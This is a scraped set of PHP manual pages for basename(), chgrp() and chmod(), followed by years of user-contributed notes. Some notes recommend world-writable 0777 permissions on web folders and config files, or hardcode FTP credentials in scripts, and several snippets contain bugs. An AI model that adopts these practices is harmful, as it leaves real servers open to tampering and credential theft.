echo "2) ".basename("/etc/passwd").PHP_EOL;
echo "3) ".basename("/etc/").PHP_EOL;
echo "4) ".basename(".").PHP_EOL;
echo "5) ".basename("/");
?>

The above example will output:

1) sudoers
2) passwd
3) etc
4) .
5)

Notes

Note:

basename() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..".

Note:

basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

See Also

  • dirname() - Returns parent directory's path
  • pathinfo() - Returns information about a file path

User Contributed Notes

Muhammad El-Saeed muhammad at elsaeed dot info 19-Apr-2013 01:58
to get the base url of my website

function url(){
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://'. $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
    return $base_url;
}
leaksin [ at ] gmail [ dot ] com 15-Dec-2012 03:53
This is a string function,too.
basename() does not check the current path for being exist or not.
It's great to use it for working with URL or search implement.
swedish boy 13-Oct-2009 12:43
Here is a quick way of fetching only the filename (without extension) regardless of what suffix the file has.

<?php

// your file
$file = 'image.jpg';

$info = pathinfo($file);
$file_name =  basename($file,'.'.$info['extension']);

echo $file_name; // outputs 'image'

?>
hello at haroonahmad dot co dot uk 18-Sep-2008 05:13
I got a blank output from this code

$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

suggested earlier by a friend here.

So anybody who wants to get the current directory path can use another technique that I use as

//suppose you're using this in pageitself.php page

$current_dir=dirname(realpath("pageitself.php"));

I hope it helps.
zandor_zz at yahoo dot it 08-Sep-2008 10:34
It might be useful to have a version of the function basename working with arrays too.

<?php
function a_basename( $file, $exts )
{
    $onlyfilename = end( explode( "/", $file ) );

    if( is_string( $exts ) )
    {
        if ( strpos( $onlyfilename, $exts, 0 ) !== false )
        $onlyfilename = str_replace( $exts, "", $onlyfilename );
    }
    else if ( is_array( $exts ) )
    {
        // works with PHP version <= 5.x.x
        foreach( $exts as $KEY => $ext )
        {
            $onlyfilename = str_replace( $ext, "", $onlyfilename );
        }
    }

    return $onlyfilename ;
}
?>
(remove) dot nasretdinov at (remove) dot gmail dot com 27-Aug-2008 05:20
There is only one variant that works in my case for my Russian UTF-8 letters:

<?php
function mb_basename($file)
{
    return end(explode('/',$file));
}
><

It is intented for UNIX servers
pai dot ravi at yahoo dot com 15-Aug-2008 05:44
once you have extracted the basename from the full path and want to separate the extension from the file name, the following function will do it efficiently:

<?php
function splitFilename($filename)
{
    $pos = strrpos($filename, '.');
    if ($pos === false)
    { // dot is not found in the filename
        return array($filename, ''); // no extension
    }
    else
    {
        $basename = substr($filename, 0, $pos);
        $extension = substr($filename, $pos+1);
        return array($basename, $extension);
    }
}
?>
adrian at foeder dot de 20-Dec-2007 09:33
On windows systems, filenames are case-insensitive. If you have to make sure the right case is used when you port your application to an unix system, you may use a combination of the following:

<?php
//assume the real filename is mytest.JPG:

$name_i_have = "mytest.jpg";
$realfilename = basename(realpath($name_i_have));
?>

basename itself does not check the filesystem for the given file, it does, so it seems, only string-manipulation.
With realpath() you can "extend" this functionality.
stephane dot fidanza at gmail dot com 11-Apr-2007 01:33
Support of the $suffix parameter has changed between PHP4 and PHP5:
in PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.

Example:
<?php
  $file = "path/to/file.xml#xpointer(/Texture)";
  echo basename($file, ".xml#xpointer(/Texture)");
?>

Result in PHP4: file
Result in PHP5: Texture)
thoughts at highermind dot org 30-Jan-2007 02:45
Basename without query string:

<?php
$filename    = array_shift(explode('?', basename($url_path)));
?>
jonmsawyer at gmail dot com 09-Jan-2007 09:23
@antrik at users dot sf dot net
> 15-Nov-2004 10:40
> When using basename() on a path to a directory
> ('/bar/foo/'), the last path component ('foo') is returned,
> instead of the empty string one would expect. (Both PHP
> 4.1.2 and 4.3.8 on GNU/Linux.) No idea whether this is
> considered a bug or a feature -- I found it extremely
> annoying. Had to work around using: <?php
> $file=substr($path, -1)=='/'?'':basename($path)
> ?> Watch out!

There is a reason behind this -- and it has nothing to do with being a feature. PHP was heavily modeled off of the POSIX model. Many of the same functions you see in PHP are also in C, C++, and Java. These languages are modeled on POSIX as well.

The directory '/bar/foo/', when passed into the function basename(), will output 'foo' because *everything*, including directories, in the POSIX model, is a _file_. Most unix platforms, and all Windows platforms are (some Linux distributions are not) fully compliant to the POSIX model.

For example, the device file that contains information about your harddisk, in Linux, is probably stored in the _file_ /dev/hda.

Another example is that when you want to list information about your CPU or Memory using the Linux kernel, you might read the _file_ /proc/cpu/info.

Directories are no exception. Directories are no more different than your regular text file -- other than the fact that they describe a _file_-list of all files under it, and where the OS can access them. This means that even directories treat other directories as files.

The reason why we are made to think that directories are not files is because the kernel (the OS) simply treats these culprits differently. Your OS is lying to you! When you try to open up c:\windows in Notepad, you simply get a runaround because the Windows operating system knows it is a directory and knows how to treat it -- and knowing this it will not let you open it up for editing. For if you did that, you would probably lose the data in that directory. If you are familiar with C programming, you will know that if you lose information about a pointer to an object, the object gets lost in memory. The same would happen if you modified a directory in the wrong way. This is why the operating system protects its directories with the upmost care. (Some do anyway, hehe)

So when doing any kind of programming in PHP, C/++, Java, Ada, Perl, Python, Ruby, FORTRAN, and yes, even RPG IV (for all of you AS/400 folks out there working on the IFS), you must treat directories as files well.

This is why 'foo' is returned. For more information on POSIX, see http://en.wikipedia.org/wiki/POSIX

I hope this helps. Cheers.
lazy lester 18-Feb-2006 01:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
15-Nov-2005 01:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind 02-Nov-2005 09:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com 24-Oct-2005 09:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk 22-Sep-2005 09:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
pvollma at pcvsoftware dot net 14-Jul-2005 06:28
Note that in my example below, I used the stripslashes function on the target string first because I was dealing with the POST array $_FILES. When creating this array, PHP will add slashes to any slashes it finds in the string, so these must be stripped out first before processing the file path. Then again, the only reason I can think of that basename() would fail is when dealing with Windows paths on a *nix server -- and the file upload via POST is the only situation I can think of that would require this. Obviously, if you are not dealing with these additional slashes, invoking stripslashes() first would remove the very separators you need extract the file name from the full path.
amitabh at NOSPAM dot saysnetsoft dot com 14-Jul-2005 10:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
        $newfile = basename($file_name);
        if (strpos($newfile,'\\') !== false)
        {
                $tmp = preg_split("[\\\]",$newfile);
                $newfile = $tmp[count($tmp) - 1];
                return($newfile);
        }
        else
        {
                return($file_name);
        }
}
?>
pvollma at pcvsoftware dot net 13-Jul-2005 08:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$filen = stripslashes($_FILES['userfile']['name']);
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de 30-Jan-2005 03:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de 30-Jan-2005 01:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
KOmaSHOOTER at gmx dot de 28-Nov-2003 11:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
giovanni at giacobbi dot net 08-Nov-2003 04:52
No comments here seems to take care about UNIX system files, which typically start with a dot, but they are not "extensions-only".
The following function should work with every file path. If not, please let me know at my email address.

<?php

function remove_ext($str) {
  $noext = preg_replace('/(.+)\..*$/', '$1', $str);
  print "input: $str\n";
  print "output: $noext\n\n";
}

remove_ext("/home/joh.nny/test.php");
remove_ext("home/johnny/test.php");
remove_ext("weirdfile.");
remove_ext(".hiddenfile");
remove_ext("../johnny.conf");
daijoubu_NOSP at M_videotron dot ca 16-Oct-2003 07:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>


Changes file group

  • « basename
  • chmod »
  • PHP Manual
  • Filesystem Functions
  • Changes file group

chgrp

(PHP 4, PHP 5)

chgrp — Changes file group

Description

bool chgrp ( string $filename , mixed $group )

Attempts to change the group of the file filename to group.

Only the superuser may change the group of a file arbitrarily; other users may change the group of a file to any group of which that user is a member.

Parameters

filename

Path to the file.

group

A group name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing a file's group

<?php
$filename = 'shared_file.txt';
$format = "%s's Group ID @ %s: %d\n";
printf($format, $filename, date('r'), filegroup($filename));
chgrp($filename, 8);
clearstatcache(); // do not cache filegroup() results
printf($format, $filename, date('r'), filegroup($filename));
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • chown() - Changes file owner
  • chmod() - Changes file mode

User Contributed Notes

leaksin [ at ] gmail [ dot ] com 16-Dec-2012 07:05
Note: chgrp() is aware of the actual filesystem.
So you need to check it by using file_exists() function or...


Changes file mode

  • Â« chgrp
  • chown Â»
  • PHP Manual
  • Filesystem Functions
  • Changes file mode

chmod

(PHP 4, PHP 5)

chmod — Changes file mode

Description

bool chmod ( string $filename , int $mode )

Attempts to change the mode of the specified file to that given in mode.

Parameters

filename

Path to the file.

mode

Note that mode is not automatically assumed to be an octal value, so to ensure the expected operation, you need to prefix mode with a zero (0). Strings such as "g+w" will not work properly.

<?php
chmod("/somedir/somefile", 755);   // decimal; probably incorrect
chmod("/somedir/somefile", "u+rwx,go+rx"); // string; incorrect
chmod("/somedir/somefile", 0755);  // octal; correct value of mode
?>

The mode parameter consists of three octal number components specifying access restrictions for the owner, the user group in which the owner is in, and to everybody else in this order. One component can be computed by adding up the needed permissions for that target user base. Number 1 means that you grant execute rights, number 2 means that you make the file writeable, number 4 means that you make the file readable. Add up these numbers to specify needed rights. You can also read more about modes on Unix systems with 'man 1 chmod' and 'man 2 chmod'.

<?php
// Read and write for owner, nothing for everybody else
chmod("/somedir/somefile", 0600);

// Read and write for owner, read for everybody else
chmod("/somedir/somefile", 0644);

// Everything for owner, read and execute for others
chmod("/somedir/somefile", 0755);

// Everything for owner, read and execute for owner's group
chmod("/somedir/somefile", 0750);
?>

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The current user is the user under which PHP runs. It is probably not the same user you use for normal shell or FTP access. The mode can be changed only by user who owns the file on most systems.

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note:

When safe mode is enabled, PHP checks whether the files or directories you are about to operate on have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits.

See Also

  • chown() - Changes file owner
  • chgrp() - Changes file group
  • fileperms() - Gets file permissions
  • stat() - Gives information about a file

User Contributed Notes

roger at imovelavenda dot com dot br 03-May-2014 04:59
function chmod777($f) { chmod($f, 0777); }
array_map('chmod777', glob('/home/user/public_html/pdf/*/*/*/*'));
h dot kuppens at cs dot ru dot nl 29-Aug-2011 11:51
For recursive chmod'ing both files and directories in one step you can use the function below. Note that this function has one argument for directory permissions and one for file permissions.
In this way you can apply the 'x' permission on directories, and skip it on directories. This function also skips links.

Example usage :

   chmod_R( 'mydir', 0666, 0777);

Makes all files and directories within mydir/ directory accessible for everyone, but doesn't make the files executable.

I guess for very deeply nested directories the recursion with php can become problematic, but I can be wrong because I never investigated this.

<?php
function chmod_R($path, $filemode, $dirmode) {
    if (is_dir($path) ) {
        if (!chmod($path, $dirmode)) {
            $dirmode_str=decoct($dirmode);
            print "Failed applying filemode '$dirmode_str' on directory '$path'\n";
            print "  `-> the directory '$path' will be skipped from recursive chmod\n";
            return;
        }
        $dh = opendir($path);
        while (($file = readdir($dh)) !== false) {
            if($file != '.' && $file != '..') {  // skip self and parent pointing directories
                $fullpath = $path.'/'.$file;
                chmod_R($fullpath, $filemode,$dirmode);
            }
        }
        closedir($dh);
    } else {
        if (is_link($path)) {
            print "link '$path' is skipped\n";
            return;
        }
        if (!chmod($path, $filemode)) {
            $filemode_str=decoct($filemode);
            print "Failed applying filemode '$filemode_str' on file '$path'\n";
            return;
        }
    }
}
?>
Andrey P. 01-Mar-2011 11:23
I was trying to change permissions of a folder with chmod command with FTP connection. (I needed a writable folder to upload pictures with php)

I got the following respond:
"SITE CHMOD 777 uploads: command not understood"

The reason: Server is running under Windows system that does not allow to set file permissions via FTP. Conversely, the UNIX-running servers allow that.

Solutions:

1. If your web hosting provider has a web-based control panel that lets you set file permissions, then you need to login there and make changes.

2. It is possible to contact the hosting provider and ask them about this issue; maybe they can make the changes.

3. It is possible to change the hosting provider that has servers run on UNIX, and keep the site there.
MethodicalFool 02-Sep-2010 06:46
BEWARE, a couple of the examples in the comments suggest doing something like this:

chmod(file_or_dir_name, intval($mode, 8));

However, if $mode is an integer then intval( ) won't modify it.  So, this code...

$mode = 644;
chmod('/tmp/test', intval($mode, 8));

...produces permissions that look like this:

1--w----r-T

Instead, use octdec( ), like this:

chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
Geoff W 08-Feb-2010 11:13
BEWARE using quotes around the second parameter...

If you use quotes eg

chmod (file, "0644");

php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal
sander 25-Jun-2009 08:06
if you want to chmod directories too, use this

<?php
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname), RecursiveIteratorIterator::SELF_FIRST);

foreach($iterator as $item) {
    chmod($item, $filemode);
}
?>
Anonymous 24-Dec-2008 11:14
Changes file mode recursive in $pathname to $filemode

<?php

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname));

foreach($iterator as $item) {
    chmod($item, $filemode);
}

?>
nicolas at infosoft dot inf dot br 07-Jul-2008 02:37
I use the code of haasje@welmers.net, but have a lite alteration. (linux symlink)

<?php
function chmod_R($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath))
                if (!chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmod_R($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
thanks alls
paul maybe at squirrel mail org 24-Apr-2008 02:09
Note that info at rvgate dot nl's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

<?php
      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
?>
Ambriel_Angel at www dot ambriels dot net/entry 25-Mar-2007 03:00
<?php
error_reporting(E_ERROR | E_PARSE);
/* Makes is so Directories are not browseable to the public,
removing only the Public = Read permission, while leaving
the other chmod permissions for the file in tact.

If you have exectue already on, and read off, public viewers will only
be able to view files through links, but not browse
around to see what's inside of directories and see what
you've got laying around. */
//-------------------------------------------------------
// Get file mode
// Get file permissions supported by chmod
function getmod($filename) {
   $val = 0;
   $perms = fileperms($filename);
   // Owner; User
   $val += (($perms & 0x0100) ? 0x0100 : 0x0000); //Read
   $val += (($perms & 0x0080) ? 0x0080 : 0x0000); //Write
   $val += (($perms & 0x0040) ? 0x0040 : 0x0000); //Execute

   // Group
   $val += (($perms & 0x0020) ? 0x0020 : 0x0000); //Read
   $val += (($perms & 0x0010) ? 0x0010 : 0x0000); //Write
   $val += (($perms & 0x0008) ? 0x0008 : 0x0000); //Execute

   // Global; World
   $val += (($perms & 0x0004) ? 0x0004 : 0x0000); //Read
   $val += (($perms & 0x0002) ? 0x0002 : 0x0000); //Write
   $val += (($perms & 0x0001) ? 0x0001 : 0x0000); //Execute

   // Misc
   $val += (($perms & 0x40000) ? 0x40000 : 0x0000); //temporary file (01000000)
   $val += (($perms & 0x80000) ? 0x80000 : 0x0000); //compressed file (02000000)
   $val += (($perms & 0x100000) ? 0x100000 : 0x0000); //sparse file (04000000)
   $val += (($perms & 0x0800) ? 0x0800 : 0x0000); //Hidden file (setuid bit) (04000)
   $val += (($perms & 0x0400) ? 0x0400 : 0x0000); //System file (setgid bit) (02000)
   $val += (($perms & 0x0200) ? 0x0200 : 0x0000); //Archive bit (sticky bit) (01000)

   return $val;
}

//-------------------------------------------------------
// Find out if file has mode
function hasmod($perms, $permission) {

# User Read = 0400 (256), Write = 0200 (128), Execute = 0100 (64)
# Group Read = 0040 (32), Write = 0020 (16), Execute = 0010 (8)
# Public Read = 0004 (4), Write = 0002 (2), Execute = 0001 (1)

    return (($perms & $permission) == $permission);
}

//-------------------------------------------------------
// Take the read option off of all the subdirectories of the included path
function pathlock($dir, $listall = false, $testrun = true) {
   echo "START @ " . date("F j, Y, h:i:s A") . "<br><br>";
   echo ($testrun ? '**Test Run Activated (no changes will be made).**<br><br>' : '**Live Run Activated.**<br><br>');
   echo $dir . " is our directory.<br><br>\n";
   echo "[...IN PROGRESS...]<br><br>";

   $file_list = '';
   $stack[] = $dir;

   while ($stack) {
      $current_dir = array_pop($stack);
      if ($dh = opendir($current_dir)) {
          while (($file = readdir($dh)) !== false) {
              if ($file !== '.' AND $file !== '..') {
                  $current_file = "{$current_dir}/{$file}";
               if (is_dir($current_file)) {
                      // BEG ADD PATH
                   $mode = getmod($current_file);    //Get the mode
                      $HasPubRead = hasmod($mode,4);
                   if ($HasPubRead || $listall) {    // Can the public read this dir?
                  //======================================
                    $ch = true;
                  $take = 0;
                       // Change the mode:
                     if ($HasPubRead) {
                          $take = 4;         // Value for Public Read. 4 is the same in octal and decimal.
                          if (!$testrun) {
                              $ch = chmod($current_file, $mode-$take);
                          }
                      }

                    echo $current_file . ",current=" . decoct($mode) .
                        (($mode!==$mode-$take) ? ",new=" . decoct($mode-$take) : '') .
                        ($ch ? '' : ',FAILED') . "<br>\n";
                   } // end if hasmod
                   // END ADD PATH
                      $stack[] = $current_file;
                  } // if if_dir
              } //if ($file !== '.' AND $file !== '..')
          } //while (($file = readdir($dh)) !== false)
      } //if ($dh = opendir($current_dir))
} // while ($stack)

    echo "<br>COMPLETE @ " . date("F j, Y, h:i:s A") . "<br>\n";
return;
   //return $path_list;
} // end function

//-------------------------------------------------------
    //listall Show all folders, even one's we're not going to process?
    //testrun Do a test run without making any changes
    pathlock($_SERVER["DOCUMENT_ROOT"],false,true); // listall?=false, testrun?=true

?>
info at web-in-time dot eu 04-Jan-2007 10:11
As you might have noticed there is a minor bug in webmaster at danopia dot 5gigs dot com's code:

You have to set $ftp_root variable outside the function chmod_open() and have to set it as global within the chmod_file() function.

With these patches the code really works fine. THX!

Ben
webmaster at danopia dot 5gigs dot com 03-Jan-2007 03:20
Thanks for your code, "imoldgreg at o2 dot co dot uk". I am using it for an instalation script that has to CHMOD a bunch of files. I have found it faster to use the same connectino for each, as shown below.

<?php

// Thanks to "imoldgreg at o2 dot co dot uk" for the base 'CHMOD via FTP' script.

function chmod_open()
{
    // Use your own FTP info
    $ftp_user_name = 'chmod@XXXXXXXXX.com';
    $ftp_user_pass = 'XXXXXXXXXX';
    $ftp_root = '/';
    $ftp_server = 'localhost';
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    return $conn_id;
}

function chmod_file($conn_id, $permissions, $path)
{
    if (ftp_site($conn_id, 'CHMOD ' . $permissions . ' ' . $ftp_root . $path) !== false)
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}

function chmod_close($conn_id)
{
    ftp_close($conn_id);
}

// CHMOD the required setup files

// Connect to the FTP
$conn_id = chmod_open();

// CHMOD each file and echo the results
echo chmod_file($conn_id, 777, 'master/cache/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/files/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/store/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 766, 'master/config.php') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/images/avatars/upload/') ? 'CHMODed successfully!' : 'Error';

// Close the connection
chmod_close($conn_id);

?>

Here, the same FTP connection is used for each CHMOD command, making the execute time lower. This is essential for me, since my script is also copying a bunch of files.
imoldgreg at o2 dot co dot uk 01-Dec-2006 02:32
an update to 'neil at 11 out of 10's code for changing mode using FTP.

changes: proper array added within the function (better for those of us who only need to connect to one ftp server) so only the mode and directory name need to be passed.

the octal added, for completeness and predictable stability.

<?php
function changemode($xcite)
{
$ftp_details = array(
ftp_user_name => 'username',
ftp_user_pass => 'password',
ftp_user_root => '/public_html/',
ftp_server => 'ftp.something.org'
);

$path = "public";
$mod = intval($xcite, 8);

   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
    return $success;
}

?>

for those of you, like me, who were looking for a way to make an 'un-hackable' uploader, here's the closest i got, now for a field test, good luck!
memp 23-Aug-2005 12:04
If you are storing your mode in a variable like

$mode = 0755;

you will run into the inevitable octal mode problem.  An easy way around that is to use the octdec() function.

chmod("some_filename.ext", octdec($mode));
masha at mail dot ru 11-Jul-2005 06:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
alex at feidesign dot com 01-Apr-2005 01:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
PerfectWeb 23-Nov-2004 04:58
As noted by others below... 1) you cannot pass a string to chmod() as the mode, and 2) decimals work as well as octals for the mode.

If you need to come up with the mode on the fly (maybe based on user input) and want to use something like:

$mode = '0'.$owner.$group.$public;

you can use your $mode (which is a string) with chmod like this:

<?php
 // octal mode in a string i.e. '0755'
 $mode = '0'.$owner.$group.$public;

 $mode_dec = octdec($mode);    // convert octal mode to decimal
 chmod($filename, $mode_dec);
?>
fernando at gym-group dot com 12-Nov-2004 04:10
about chmod,
Problably you have a local server to simulate your scripts before upload them to the server. No matter if you use Apache under windows or IIS ,  a chmod instruction like chmod($filename,O777) may not work because windows does not handle that kind of permission's format.
So being in your local server, if you have a only read file and you try to erase, it will show that you dont have permissions even when you have already executed your chmod instrucction correctly. Just up the script it must work well in your internet server if it is a linux machine

sobre chmod,
Probablemente usas un servidor local para probar tus scripts antes de subirlos al servidor en internet. No importa si usas Apache bajo windows o IIS, una instruccion como chmod(nombre_archivo,O777) podrá no trabajar por que windows no maneja esa estructura para definir los permisos.
Estando en tu servidor local, si tienes un archivo de solo lectura y tratas de borrarlo,  se mostrará un error diciendo que no tienes permisos aún despúes de haber ejecutado chmod correctamente. Sube tu script, si tu servidor es una máquina linux, el script trabajará sin problemas en internet.

Fernando Yepes C.
Oliver Hankeln 01-Jul-2004 05:21
Well, you don't need octals.
You need a value that can easily computed and remembered if printed in octal.
511 (decimal) is the same as 777 (octal).
So it's the same wether you write
chmod("foo",511)
or
chmod("foo",0777)

The latter is just better readable.
agrenier at assertex dot com 02-Apr-2004 02:11
This function will chmod a $filename before writing to it if:

1 - It exists
2 - It is not writeable
3 - PHP has permission to chmod files

If PHP can't chmod, then the script will end. Otherwise it will attempt to write to a new file.

<?php

    function file_write($filename, $flag, &$content) {
        if (file_exists($filename)) {
            if (!is_writable($filename)) {
                if (!chmod($filename, 0666)) {
                     echo "Cannot change the mode of file ($filename)";
                     exit;
                };
            }
        }
        if (!$fp = @fopen($filename, $flag)) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }

?>
pmichaud at pobox dot com 20-Apr-2003 12:45
In the previous post, stickybit avenger writes:
    Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
    chmod("file",01777);   // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.
sticky bit avenger 12-Mar-2003 12:30
Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value. Do NOT do this if you don't have root privileges. When 'sticky bit' is set ONLY the fileuser can delete it afterwards, typically 'httpd' or something like that in case of an upload-script for example. I was unaware of this and actually had to make a script for deleting these files as I could not do this from ftp/ssh even though I did have read/write/execute access to both files and folders. Use simply '0777' or similiar.
Half-Dead at nospam dot com 08-Nov-2002 11:42
[Editor's note:
That is due the fact Win32 systems treat premissions. You do not really have any other levels but read-only.

Maxim]

On WinME with apache chmod also works to a certain limit.

What happens is that apparently only the first number is counted, so 0666 (read-write) is the same as 0777, 0644, 0600, etc, and 0444 (read-only) is the same as 477, 400, etc.

..didn't test 0500 series
jon at zend dot com 15-Oct-2001 05:37
if 'mode' is held in a variable and is and octal value you need to convert it to decimal before passing it to the function:
chmod ($filename, octdec($mode))
gnettles2 at home dot com 24-Aug-2001 08:20
